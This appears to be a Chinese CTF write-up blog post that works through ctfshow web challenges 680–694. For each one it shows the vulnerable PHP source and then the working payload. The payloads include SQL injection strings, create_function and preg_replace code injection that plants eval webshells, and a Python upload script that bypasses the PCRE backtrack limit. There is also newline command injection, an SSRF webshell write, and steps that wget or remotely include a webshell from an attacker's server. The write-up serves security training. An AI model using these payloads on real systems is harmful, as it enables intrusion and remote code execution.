CTFSHOW-大赛原题-WriteUP

开头

解题思路参考以下链接

https://blog.csdn.net/miuzzx/article/details/122998220
https://blog.csdn.net/weixin_49656607/article/details/124065674

Web680

解题

  • 先POST传入code=phpinfo(); 然后查看disable_function查看禁用了一堆函数,并且open_basedir限制了
  • POST传入code=var_dump(scandir('.')); 用于查看当前目录的文件
  • 发现了secret_you_never_know这个文件,直接访问即可拿到flag。或者highlight_file('secret_you_never_know')

原理 & 思路

  • 题目提示post code to run!意思是POST向code传参
  • 实验性传参phpinfo();可以执行,应该是eval()执行,但是查看PHPinfo的disable_function发现禁用了很多函数
    index.php代码

Web681

解题

  • 先用dirb 扫描url,发现.svn泄漏
  • 访问url/.svn ,发现一个www.zip,下载并解压
  • 代码审计,在index.php中,$_SESSION['hat']不为green即可获得flag
  • 在check.php中发现sql注入;$sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
  • 访问url/check.php,POST传入name=||1#*

原理 & 思路

  • 先用dirb 扫描url,发现.svn泄漏
  • 访问url/.svn ,发现一个www.zip,下载并解压
  • 代码审计,在index.php中,$_SESSION['hat']不为green即可获得flag
    index.php
  • 在check.php中发现sql注入;只要sql语句执行成功,那么$_SESSION就会改变,就可以获得flag
    check.php
  • 前面代码会将'替换为空,并且无法使用空格
  • payload构造为 ||1#\
  • 相当于构造语句为: select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
  • 也就是相当于select count(*) from ctfshow_users where username = 'xxxxx'||1
  • 拆开看username = '||1#\' or nickname = '||1#\'
  • 前面的 '||1#\' or nickname = ' 是无所谓的,但是后面的||1是一定让sql语句执行为true,然后后面的#\直接注释掉
  • 所以最后的sql语句就相当于 select count(*) from ctfshow_users where username='xxx'||1

Web683

解题

Payload

url/?秀=0x4F1A64

原理 & 思路

题目

<?php
   error_reporting(0);
   include "flag.php";
   if(isset($_GET['秀'])){
       if(!is_numeric($_GET['秀'])){
          die('必须是数字');
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
          die('你太短了');
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
           die('你太长了');
       }else{
           sleep((int)$_GET['秀']);
           echo $flag;
       }
       echo '<hr>';
   }
   highlight_file(__FILE__);
  • 过is_numeric,判断是否为数字。除了标准的十进制数字可以过,十六进制以及科学计数法也能过,例如0x114514,0.9e19198
  • 下面两个if,要求传入的数字的十进制大于60 * 60 * 24 * 30 * 2小于60 * 60 * 24 * 30 * 3,注意不要被绕了
  • 最后会sleep(int(你传入的数字))之后才会输出flag,如果传入的是标准十进制,肯定是不行的,所以传入十六进制或者科学计数法即可。如果是十六进制,int(0x2e593c00),结果为1;如果是科学计数法,int(0.7e9),结果为1.

Web684

详细:https://paper.seebug.org/755/

解题

payload

url/?action=\create_function&arg=echo sibei;}eval($_POST[a]);//
POST对a进行传参,然后命令执行

题目 & 原理

题目

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

原理

  • 要过if才能使用控制的参数,过滤内容:开头结尾匹配数字字母下划线。也就是不能有这些才能执行else
  • 这里考的是PHP命名空间,例如phpinfo()和\phpinfo(),这两种都可以执行
  • PHP默认的命名空间为\,假如调用phpinfo(),相当于调用自己填了一个相对路径。而\phpinfo()是绝对路径
  • create_function函数,create_function(这里是参数,这里是内容),例如:create_function('$a','echo sibei')
  • create_function('$a','echo sibei'), 在底层是这样创建的
function a($a){
 echo sibei;
}
  • 那么这样是存在利用的,假设create_function('$a','echo sibei;}phpinfo();//')
function a($a){
echo sibei;}phpinfo();//
}
  • 这样就相当于执行了phpinfo();原理:通过echo sibei;}将语句闭合,然后放入phpinfo(),这里是自己想执行的代码,然后后面的语句直接用//注释掉丢弃即可

Web685

解题

替换你的url,然后执行,访问输出的url

import requests

url="http://fccdcaef-db2c-48ed-975a-d692e76c12f8.challenge.ctf.show/"
#这里替换你的url

file={
    "file": "<?=eval($_POST[cmd]);?>"+"sibei"*200000
}

requests.post(url,files=file)

for i in range(0,10):
    req = requests.get(url+f"data/{i}.php")
    if "sibei" in req.text:
        print(url+f"data/{i}.php")

题目 & 原理

题目

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}  

原理 & 思路

  • 先审计代码,$data用于接收强制上传后的文件内容,然后对这个文件的内容带到is_php进行preg_match正则匹配,如果匹配到则退出,没有匹配到则:先在web目录下创建/data文件夹,然后在data文件夹下创建随机1-10.php这个php文件,然后将强制上传的文件移动替换到刚刚新建的php文件中
  • 思路:只要过了正则匹配即可进行写入文件。题目的思路是利用冲破preg_match的最大匹配数量,preg_match默认最大容许匹配1000000字符,超过则不再返回0或者1,而是false,可以通过var_dump(ini_get('pcre.backtrack_limit'));来查看最大匹配数量。
  • 只需要上传的文件超过1000000个字符,preg_match则直接失效返回false,然后即可写入文件

Web686-无参RCE

解题

url/?code=eval(end(reset(get_defined_vars())));&b=system("cat /secret_you_never_know");

题目 & 原理

题目

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

原理

Web687

解题

url/?ip=127.0.0.1%0acat /flaaag

题目 & 思路

题目

<?php
    highlight_file(__FILE__);
    $target = $_REQUEST[ 'ip' ];
    $target=trim($target);
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 1 ' . $target );
    echo  "<pre>{$cmd}</pre>";

思路

  • 接收一个变量ip,GET或者POST都可以,然后进行格式化替换,将下列数组出现的字符,对输入的ip进行匹配替换为空
  • 代码是执行ping命令,如没有过滤可以后面衔接;或者| 等进行命令执行。
  • 本体没有过滤换行,即%0a,可以绕过。

Web689

解题

题目 & 思路

题目

<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.CTFshow";
}

思路

  • SSRF我自己
  • 先审计代码:GET传参file,用于构造url,然后放入$url,GET传参path,用于将下面代码从$url读取的代码放到$path中。对$url进行检测,对传入的$file也就是$url必须要包含http://127.0.0.1,然后从传入的$url,读取$url这个链接的内容,然后放入url/upload/$path中,$path是自己传入的,然后会新跳转一个页面,输出$path update successed的内容
  • 如果先传入url/?path=<?=eval($_POST[cmd])?>&file=http://127.0.0.1/,就是将index.php代码读取,然后写入到upload/<?=eval($_POST[cmd])?>,然后页面跳转,输出<?=eval($_POST[cmd])?> update,那么这个url最终的输出就是<?=eval($_POST[cmd])?> update,也就是这个页面包含了一句话马。
  • 那如果,将上面的url作为一个整体,来进行读取写入,就构成了将上面输出的内容作为写入的内容。
  • 拆开看:url/?path=1.php&file=(这里隔开)http://127.0.0.1/?path=<;?=eval($_POST[cmd])?>%26file=http://127.0.0.1/
  • 代码的意思是将url/?path=<?=eval($_POST[cmd])?>&file=http://127.0.0.1/输出的内容,写入到1.php账号陪你过
  • 注意后面套娃的内容&要url编码
    编码

Web690

解题

  • 准备一个web服务器,要求必须要使用ip地址就可以访问,同时将ip地址转为十进制,怎么转可以百度
  • 准备一个web服务器,在web根目录新建index.html,放入以下代码
  • 没有web服务器可以用python3新建,新建一个文件夹,进去后新建index.html然后放入下面的代码,然后python3 -m http.server 80。如果没有这个模块pip3 install httpserver
<?php 
file_put_contents("shell.php",'<?php eval($_POST[cmd]);?>');
?>
  • url/?args[]=sibei%0a&args[]=mkdir&args[]=sibei%0a&args[]=cd&args[]=sibei%0a&args[]=wget&args[]=web服务器的十进制ip
  • url?args[]=sibei%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=sibei%0a&args[]=php&args[]=shell

题目&思路

题目

<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}

exec('./ ' . implode(" ", $args));

思路

  • 先审计代码:传入args,然后对count($args),说明要传入args数组,然后根据传入的数量,依次匹配过滤传入的值,匹配规则是要求只能是数字字母下划线。
  • 然后执行exec函数,没有回显。
  • preg_match可以用%0a来绕过,也就是换行,在php命令执行如果遇到%0a,相当于shell的;可以拼接命令
  • 假如这样传入url/?args[]=sibei%0a&args[]=echo&args[]=123,那么就相当于执行了./sibei;echo 123
  • 这边的思路是先新建一个文件夹,然后cd到文件夹,然后wget我们的ip服务器进行下载文件。然后打包一下含有我们下载的文件的目录,然后php执行(这里可以执行是因为,压缩包包含明文php代码,php只有遇到php代码才会执行)
  • 具体可以参照上面的payload来理解

Web691

解题

Python脚本

import requests

url = "http://4fdab247-a7a5-4173-a624-c8437b86bd50.challenge.ctf.show/"

string = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"

flag = ""

for i in range(1, 50):
    for j in string:
        data = {
            "username": f"' or 1 union select 1,2,'{flag+j}' order by 3#",
            "password": "1"
        }
        req = requests.post(url, data=data)

        if '</code>admin' in req.text:
            print(chr(ord(j) - 1))
            flag+=chr(ord(j) - 1)
            print(flag)
            break

题目&思路

题目(不全)

<?php
 
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function   filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
      }
      return $str;
  }
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{
   echo "The content in the password column is the flag!";
}

?>

思路

  • order by 排序盲注
  • 有点没懂,看文章置顶的文章吧,哈哈哈

Web692

解题

url/?option=;eval($_POST[cmd]);//
url/?option=%00
然后访问url/config.php传参即可

题目 & 思路

题目

<?php

highlight_file(__FILE__);

if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

思路

  • 代码审计,GET获取option,然后进过addslashes(),即在预定义的字符串添加反斜杠,详细百度。然后$file读取config.php,然后对config.php进行替换,将$option=替换为我们输入的内容,最后将替换的后的内容放入config.php
  • preg_replace,第二个参数,如果传入%00,则完整匹配内容
比如初始的字符串为 $option='123';
如果执行  preg_replace("$option='.*';","\x00",$a)
那么返回的结果是 $option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。
那如果执行 preg_replace("$option='.*';",";eval($_POST[cmd]);//",$a)
那么 $option=";eval($_POST[cmd]);//"
那如果再执行 preg_replace("$option='.*';","%00",$a)
那么 $option="$option=";eval($_POST[cmd]);//""
eval就被逃逸出去了

Web693

解题

准备一台web公网服务器,新建index.html,写入一句话木马
url/?function=extract&file=你的公网服务器ip

题目 & 思路

题目

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

思路

  • 重点在于以下代码

      $func = isset($_GET['function'])?$_GET['function']:'filters'; 
      call_user_func($func,$_GET);
      include($file);
  • call_user_func是一种特殊的调用函数的方式,第一个参数放要调用的函数名,第二个参数放参数
  • include可控,call_user_func可以使用extract,把$file给改变了,extract可以改变变量
  • include要记得可以用php://filter或者远程包含的,php://filter可以查看文件,远程包含可以直接包含一句话马

Web694

解题

  • 先按照图传值,传完之后,访问url/s.php
    传值

题目 & 思路

题目

<?php

error_reporting(0);

$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));

$content = $_POST['content'];


$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;


if($action=='ctfshow'){
    file_put_contents($path,$content);
}else{
    highlight_file(__FILE__);
}


?>

思路

  • 先审计代码:GET接收action,当action=ctfshow时可以进行写入。GET接收$file,但是只能接收从第一个到第三个字符,$ip接收头X-Forwarded-For。$path相当于./$ip/$file
  • 当action=ctfshow时,将$content写入$path,$content从POST接收。
  • X-Forwarded-For可以使用hackbar来控制,填入什么就是什么
  • 因为$file无法写入超过三个字符,所以无法写入类似于a.php的php文件,这边使用.来搭配使用。例如路径:/var/www/html/a.php/. 这样的话,实际上还是/var/www/html/a.php
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇